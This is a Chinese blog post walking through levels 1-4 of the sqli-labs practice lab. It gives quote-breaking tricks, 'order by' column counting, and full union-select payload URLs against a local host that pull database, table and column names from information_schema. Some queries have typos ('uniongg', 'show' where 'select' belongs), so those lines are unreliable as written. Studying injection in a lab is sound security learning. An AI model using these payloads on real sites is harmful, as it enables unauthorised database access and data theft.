sqlless1-4
0x01 sql语句执行
sql查询语句执行流程:1.sql语句传入到mysql_query()中返回resource值
2.mysql_fetch_array()返回一个数组
0x02 sql引号概述
- 传入id=1’返回报错信息,可知sql后半段为limit 0,1。采用去引号注释方法
'or 1=1--+
(引号的作用使得注入的语句能够插入进sql语句中) - 通过id=1’ order by 4 >> 得出 列数为三
- 通过id=-1’ uniongg select 1,database(),3 >> 可得数据库名 (这里id=-1的作用是,前端语句查询不存在而执行union语句)
在id=1后加引号的作用如上图所示,若不加引号 id后的sql语句会被包含在id=’’字符串的单引号中而无法实现。在添加一个向后单引号会使得union查询语句置后。
0x03 sql注入爆库表列
条件PHP语句中能够执行的GET语句输出变量
爆库操作实现
information_schema知识点补充:
informaition_schema看作一个数据库,存储作用数据库的库信息
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表//所以information_schema 会在schemata中查询 show schema_name from information_schema.schemata
–TABLES表:提供了关于数据库中的表信息
。show table_name from information_schema.tables where table_schema=security
–COLUMNS表:提供表中的 列信息
. show column_name from information_schema.columns where table_name=xxx
爆库名
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3% 20from%20information_schema.schemata--+
爆表名
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20f rom%20information_schema.tables%20where%20table_schema=%27security%27--+
爆列名
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%2 0from%20information_schema.columns%20where%20table_name=%27users%27--+
less-2
id传入值为整数型,只需要 or 1=1 –+其他和less-1相同
less-3
构造 id=1’) or 1=1 –+
less-4
构造 id=1”) or 1=1 –+
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!